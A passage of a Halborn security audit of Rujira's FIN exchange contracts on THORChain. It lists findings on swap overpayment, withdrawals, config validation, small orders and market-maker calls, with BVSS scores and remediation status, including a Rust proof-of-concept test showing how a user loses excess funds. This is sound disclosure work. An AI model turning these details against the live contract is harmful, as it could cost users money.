            pending_inbound_rune: Uint128::from_str(v.pending_inbound_rune.as_str())?,
            balance_asset: Uint128::from_str(v.balance_asset.as_str())?,
            balance_rune: Uint128::from_str(v.balance_rune.as_str())?,
            asset_tor_price: Decimal::from_str(v.asset_tor_price.as_str())?
                .div(Uint128::from(10u128).pow(8)),
            pool_units: Uint128::from_str(v.pool_units.as_str())?,
            lp_units: Uint128::from_str(v.lp_units.as_str())?,
            synth_units: Uint128::from_str(v.synth_units.as_str())?,
            synth_supply: Uint128::from_str(v.synth_supply.as_str())?,
            savers_depth: Uint128::from_str(v.savers_depth.as_str())?,
            savers_units: Uint128::from_str(v.savers_units.as_str())?,
            savers_fill_bps: u32::from_str(&v.savers_fill_bps)?,
            savers_capacity_remaining: Uint128::from_str(v.savers_capacity_remaining.as_str())?,
            synth_mint_paused: v.synth_mint_paused,
            synth_supply_remaining: Uint128::from_str(v.synth_supply_remaining.as_str())?,
            loan_collateral: Uint128::from_str(v.loan_collateral.as_str())?,
            loan_collateral_remaining: Uint128::from_str(v.loan_collateral_remaining.as_str())?,
            loan_cr: Decimal::from_str(v.loan_cr.as_str())?,
            derived_depth_bps: u32::from_str(v.derived_depth_bps.as_str())?,
        })
    }
}
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:M/I:N/D:N/Y:N (5.0)

Recommendation

It is recommended to modify the parsing function to include a check for missing fields and handle them gracefully, such as implementing a default value of **8** for the `decimals` field when it is missing.

Remediation Comment

NOT APPLICABLE: The differences in API queries that include or omit the `decimals` value should be resolved at the base layer. The current behavior of the code sets the `decimals` value to 0 when it is missing. At the moment, the Rujira team has stopped using the `decimals` value in the code, so it has no impact.

7.5 SWAP OVERPAYMENT LEADS TO LOSS FOR BUYERS

// MEDIUM

Description

When a user submits a swap **above** an exact multiple of the base asset's price, the **excess amount is not refunded** or adjusted properly.

When a buyer submits a swap offer exceeding an exact multiple of the asset's price, they end up overpaying, as they receive the same amount of ask asset despite offering more offer asset than necessary.

Instead of adjusting the exchanged amount accordingly, the contract processes the trade at a fixed rate, leaving the excess unaccounted for in favor of the seller. As a result, the seller receives the full swap amount, including the surplus, rather than only the proportional value corresponding to the offer transferred.

Proof of Concept

Scenario

This test evaluates an **edge case** where a user submits an offer that does not align perfectly with the price structure, leading to **unexpected losses**.
The setup consists of a **single order** for **10 BTC**, with a **fixed price of 1,000 USDC per BTC**. The user attempts to swap **1,900 USDC** to purchase BTC.

- The **user overpays** by **900 USDC**, but **only receives 1 BTC** instead of 1.9 BTC.
- The **seller receives the full 1,900 USDC**, even though only **1 BTC was sold**.
- The remaining **900 USDC is lost** by the user, as it is neither refunded nor converted into BTC.

Test

```rust
#[test]
fn test_offer_under_the_minimum() {
let (mut app, contract) = setup();
let owner = app.api().addr_make("owner");
let funds = vec![
    coin(500_000_000_000_000, "btc-btc"),
    coin(500_000_000_000_000, "eth-usdc"),
];
app.init_modules(|router, _, storage| {
    router
        .bank
        .init_balance(storage, &owner, funds.clone())
        .unwrap();
});

let user= app.api().addr_make("user");
app.init_modules(|router, _, storage| {
    router
        .bank
        .init_balance(storage, &user, funds.clone())
        .unwrap();
});


let owner_balance_before = app.wrap().query_all_balances(owner.clone()).unwrap();
let user_balance_before = app.wrap().query_all_balances(user.clone()).unwrap();

println!("----> Create Order: 10 BTC, Price 1000 USDC ----");

app.execute_contract(
    owner.clone(),
    contract.clone(),
    &ExecuteMsg::Order(vec![
        (
            Side::Base,
            Price::Fixed(Decimal::from_str("1000.00").unwrap()),
            Uint128::from(10u128),
        ),
    ]),
    &funds,
)
.unwrap();

println!("----> Swap 1900 USDC----");

let swap_amount = coin(1900, "eth-usdc");

let res = app
.execute_contract(
    user.clone(),
    contract.clone(),
    &ExecuteMsg::Swap(SwapRequest {
        min_return: Some(Uint128::from(1u128)),
        to: None,
        callback: None,
    }),
    &[swap_amount],
)
.unwrap();


let orders_owner: OrdersResponse = app
.wrap()
.query_wasm_smart(contract.clone(), &QueryMsg::Orders{owner:owner.clone().to_string(),side:None,offset:None,limit:No
.unwrap();


println!("Owner Orders:");
for (i, order) in orders_owner.orders.iter().enumerate() {
    println!("  - Order {} -> Filled: {}, Remaining: {}", i, order.filled, order.remaining);
}

println!("");

//Request filled

let funds = vec![
    coin(1_000_000, "btc-btc"),
];

app.execute_contract(
    owner.clone(),
    contract.clone(),
    &ExecuteMsg::Order(vec![
        (
            Side::Base,
            Price::Fixed(Decimal::from_str("1000.00").unwrap()),
            Uint128::from(0u128),
        ),
    ]),
    &funds,
)
.unwrap();



// --- After all operations ---
// Query the final balances for owner and user.
let owner_balance_after = app.wrap().query_all_balances(owner.clone()).unwrap();
let user_balance_after = app.wrap().query_all_balances(user.clone()).unwrap();

// -------------------------------------------------------------
// Print the balance changes for each account.

// Owner outcome.
println!("Owner balance changes:");
println!("btc-btc: LOSS of {}", owner_balance_before[0].amount - owner_balance_after[0].amount);
println!("eth-usdc: GAIN of {}", owner_balance_after[1].amount - owner_balance_before[1].amount);

// User outcome.
println!("User balance changes:");
println!("btc-btc: GAIN of {}", user_balance_after[0].amount - user_balance_before[0].amount);
println!("eth-usdc: LOSS of {}", user_balance_before[1].amount - user_balance_after[1].amount);

}
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:M/Y:N (5.0)

Recommendation

It is recommended to implement refund logic for excess funds when the offer does not match an exact multiple of the price.

Remediation Comment

RISK ACCEPTED: The **Rujira team** has accepted this risk, as the technical solution would be too complex given how the code shares liquidity between orders using the liquidity algorithm. The client agrees that users have tools at their disposal — such as the `min_return` parameter in swaps and the `Simulate` query — to maximize benefits and minimize losses.

7.6 USERS ARE FORCED TO CREATE AN ORDER TO WITHDRAW THEIR FILLED AMOUNT

// LOW

Description

The current implementation **does not provide a direct way for users to withdraw their filled bid amounts**. Instead, they are required to **create a new order** with the exact **remaining amount** (`bid.amount`). If the specified amount differs, the system **modifies the existing order**.

Key Issues Identified:

- **Lack of a dedicated withdrawal function** – Users **cannot withdraw their filled amounts separately** without creating or modifying an order.
- **Risk of unintended order modifications** – If a user does not specify the exact `bid.amount`, the system **adjusts the order, apart from allowing a withdrawal**, which **may not align with the user's intent**.

Code Location

Code of `ExecuteMsg` enum from **packages/rujira-rs/src/interfaces/fin/execute.rs** file.

```
pub enum ExecuteMsg {
    /// Executes a market trade based on current order book.
    Swap(SwapRequest),

    /// Manage all orders
    /// Submit a list of price and target offer amounts
    /// 0. All filled orders will be withdrawn
    /// For each entry:
    /// 1. If no order exists at that price, one will be created
    /// 2. If an order exists, and the `offer_amount` is greater than the target amount, it will be reduced
    /// 3. If the `offer_amount` is less than the target amount, it will be increased
    ///
    /// Funds sent must be equal to the net change of balances. Funds withdrawn in step 0 and retracted in 1
    /// can be reused to fund orders in 1 and 3
    Order((Vec<(Side, Price, Uint128)>, Option<CallbackData>)),

    Arb {
        then: Option<Binary>,
    },

    /// Callback action to support an arb prior to a swap execution
    DoSwap((Addr, SwapRequest)),
}
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:L/I:L/D:N/Y:N (3.1)

Recommendation

It is recommended to implement a **withdraw_filled function** that allows users to directly claim their filled amounts **without modifying the order**. Alternatively, the `order` function could be modified so that the amount parameter is optional. If no amount is provided, the function should **only withdraw the filled amount** without altering the order.

Remediation Comment

SOLVED: The Rujira team has addressed this finding by making the `amount` parameter of the `Order` optional. If the `amount` is not set, the order amount remains unchanged, and only the currently filled amount is withdrawn.

This issue was fixed in commit 7fd31a189bdb1f07d0aa1c226eef25956caf4499

Remediation Hash

https://gitlab.com/thorchain/rujira/-/commit/bde18fdb02b9b0213e43308c7ebf5b865886ac97

7.7 MISSING VALIDATIONS ALLOW INVALID CONFIGURATIONS

// LOW

Description

The `Config::validate` and `Config::update` functions **lack essential validation checks**, permitting misconfigurations that can lead to **invalid fee structures, incorrect trading pairs, and broken oracle references**.

In fact, the `Config::validate` function is entirely **empty**, meaning it does not enforce any constraints before saving a configuration.

Key Issues Identified:

1. **No validation of fee constraints** – `fee_taker` and `fee_maker` can exceed **100%**, leading to **unfair fee structures or potential contract failure**.
2. **No validation of `denoms` existence** in THORChain pools – This allows setting **invalid trading pairs with non-existent assets**.
3. **No validation ensuring `denoms` match the assigned oracle assets** – The contract does not verify that the `denoms` align with the oracle's assigned assets and are set in the correct order (`Oracle[0] = base asset, Oracle[1] = quote asset`). Mismatches could lead to **incorrect pricing and misaligned orders**.
4. **No validation in `update()`** for fees (point 1) or oracles (point 3) – This allows **malicious or accidental updates**, which could **destabilize the contract** and lead to loss of funds or mispriced trades.

Code Location

Code of `validate` function from **contracts/rujira-fin/src/config.rs** file.

```
pub fn validate(&self) -> StdResult<()> {
    Ok(())
}
```

Code of `update` function from **contracts/rujira-fin/src/config.rs** file.

```
pub fn update(
    &mut self,
    tick: Option<Tick>,
    market_maker: Option<Addr>,
    fee_taker: Option<Decimal>,
    fee_maker: Option<Decimal>,
    fee_address: Option<Addr>,
    oracles: Option<[Layer1Asset; 2]>,
) {
    if let Some(tick) = tick {
        self.tick = tick;
    }
    if let Some(market_maker) = market_maker {
        self.market_maker = Some(market_maker);
    }
    if let Some(fee_taker) = fee_taker {
        self.fee_taker = fee_taker;
    }
    if let Some(fee_maker) = fee_maker {
        self.fee_maker = fee_maker;
    }
    if let Some(fee_address) = fee_address {
        self.fee_address = fee_address;
    }
    if let Some(oracles) = oracles {
        self.oracles = Some(oracles);
    }
}
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:L/I:L/D:N/Y:N (3.1)

Recommendation

It is recommended to **enforce validations inside `Config::validate`**, ensuring:

- `fee_taker` and `fee_maker` **do not exceed 100%**, preventing unfair or broken fee structures.
- `denoms` **exist in the THORChain pools** before being set, avoiding invalid trading pairs.
- `denoms` **align with the oracle assets** in the correct order (`Oracle[0] = base, Oracle[1] = quote`) to prevent pricing conflicts and execution errors.

Additionally, **implement validation checks in `Config::update`** to prevent misconfigurations during contract upgrades, ensuring consistency and security in all configuration changes.

Remediation Comment

SOLVED: The **Rujira team** has resolved this finding by updating the `validate` function to include fee and denom checks and also modifying the `update` function.
The denom-Oracle mapping order is considered not applicable, as the client states they may require flexibility in the future.

This issue was fixed in commits 15e75b0d124faa0abc264034499d129bae203596 and d8e761c5221e5df83acdcb3cd58e00e56fa4e27c

Remediation Hash

https://gitlab.com/thorchain/rujira/-/commit/bde18fdb02b9b0213e43308c7ebf5b865886ac97

7.8 SMALL ORDERS ARE REMOVED FROM THE SYSTEM

// INFORMATIONAL

Description

The `is_empty()` function removes bids when `amount ≤ 1`, causing orders with **amount = 1** to be **silently removed from the Orders query**.

Although this is an edge case due to the small amount, this behavior can result in **unexpected losses for users**, as their bids disappear **without any explicit error message**, making it unclear that such small bids are considered invalid. This lack of transparency can lead to confusion and potential misinterpretation of order execution behavior.

Code Location

Code of `is_empty` function from **packages/rujira-rs/src/bid_pool/bid.rs** file.

```
pub fn is_empty(&self) -> bool {
    self.amount <= Uint256::from(1u128) && self.filled.is_zero()
}
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

It is recommended to **change the threshold from `amount ≤ 1` to `amount = 0`** to avoid removing valid orders.

Remediation Comment

SOLVED: The **Rujira team** solved the issue by following the recommendation.

The issue was fixed in commit c7eac0b79e5e796f76bf06c28a59e9e6583bd7df

Remediation Hash

https://gitlab.com/thorchain/rujira/-/commit/bde18fdb02b9b0213e43308c7ebf5b865886ac97

7.9 LACK OF FUND VALIDATION BEFORE MARKET MAKER SWAP EXECUTION

// INFORMATIONAL

Description

The `handle_commit` function executes a swap using the market maker's liquidity without verifying if the contract has enough funds to complete the trade. If the available balance is insufficient, the transaction may **fail at execution time**, potentially causing **arbitrage disruptions** or **unexpected contract behavior**.

Code Location

Code of `handle_commit` function from **contracts/rujira-fin/src/contract.rs** file.

```
fn handle_commit(
    c: SwapCommit,
    config: &Config,
    side: &Side,
    messages: &mut Vec<CosmosMsg>,
) -> StdResult<()> {
    if let Some(mm) = config.market_maker.clone() {
        if !c.market_maker.1.is_zero() {
            let min_return = coin(c.market_maker.1.u128(), config.denoms.bid(side));

            messages.push(CosmosMsg::Wasm(WasmMsg::Execute {
                contract_addr: mm.to_string(),
                msg: to_json_binary(&bow::ExecuteMsg::Swap {
                    min_return,
                    to: None,
                    callback: None,
                })?,
                funds: coins(c.market_maker.0.u128(), config.denoms.ask(side)),
            }))
        }
    }
    Ok(())
}
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

Before pushing the swap message, **check if the contract has enough balance** to cover `c.market_maker.0`. If the balance is insufficient, return an **explicit error message** instead of allowing execution panic.

Remediation Comment

ACKNOWLEDGED: The **Rujira team** has acknowledged this finding.

7.10 PREVENT UNNECESSARY MARKET MAKER QUOTE AFTER OFFER IS FULFILLED

// INFORMATIONAL

Description

The `swap` function from **Swapper** continues iterating over the Items of the iterator even after the offer is fully covered, triggering an unnecessary Market Maker quote request when the item is a MarketMaker one. This increases the gas costs from redundant contract calls.

Code Location

Code of `swap` function from **packages/rujira-rs/src/exchange/swapper.rs** file.

Copy Code

```rust
pub fn swap(&mut self, iter: &mut dyn Iterator<Item = T>) -> Result<SwapResult, SwapError> {
    for mut v in iter {
        if self.offer.is_zero() {
            break;
        }
        let (offer, bids) = v.swap(self.offer)?;
        let attrs = v.attributes();
        self.events.push(event(&v, offer, bids, &attrs));
        self.pending.push(v);
        self.offer -= offer;
        self.returned += bids;
    }
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

It is recommended to stop iteration immediately when `self.offer == 0` before making further Market Maker queries.

Remediation Comment

SOLVED: The **Rujira team** solved this issue by moving the `if` condition to the end of the `for` loop.

This issue was fixed in commit d89d754a3c165747d9d1f7e15664f65564f959dd

Remediation Hash

https://gitlab.com/thorchain/rujira/-/commit/bde18fdb02b9b0213e43308c7ebf5b865886ac97

8. AUTOMATED TESTING

Halborn used automated security scanners to assist with detection of well-known security issues and vulnerabilities. Among the tools used was `cargo audit`, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in `https://crates.io` are stored in a repository named The RustSec Advisory Database. `cargo audit` is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. To better assist the developers maintaining this code, the auditors are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.

`No security issues were found.`

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.

STAY CURRENT WITH HALBORN

Subscribe to the monthly Halborn Digest for our top blogs and videos, major company announcements, new whitepapers, webinar and event invites, and one exclusive interview.

Enter e-mail address

SUBSCRIBE

ADVISORY SERVICES
AI Advisory
Risk Assessment
Blockchain Architecture Assessment
Compliance Readiness
Custody and Key Management Assessment
Technical Due Diligence
Technical Training

ASSURANCE SERVICES
AI Security Assessment
AI Red Teaming
Smart Contract Assessment
Blockchain Layer 1 Assessment
Code Security Audit
Web Application Penetration Testing
Cloud Infrastructure Penetration Testing
Red Team Exercise

COMPANY
Who We Are
Who Trusts Us
Service Commitments
Careers
Brand
Blog
Contact

RESOURCES
Audits
Disclosures
Reports
BVSS
Case Studies

© Halborn 2026. All rights reserved.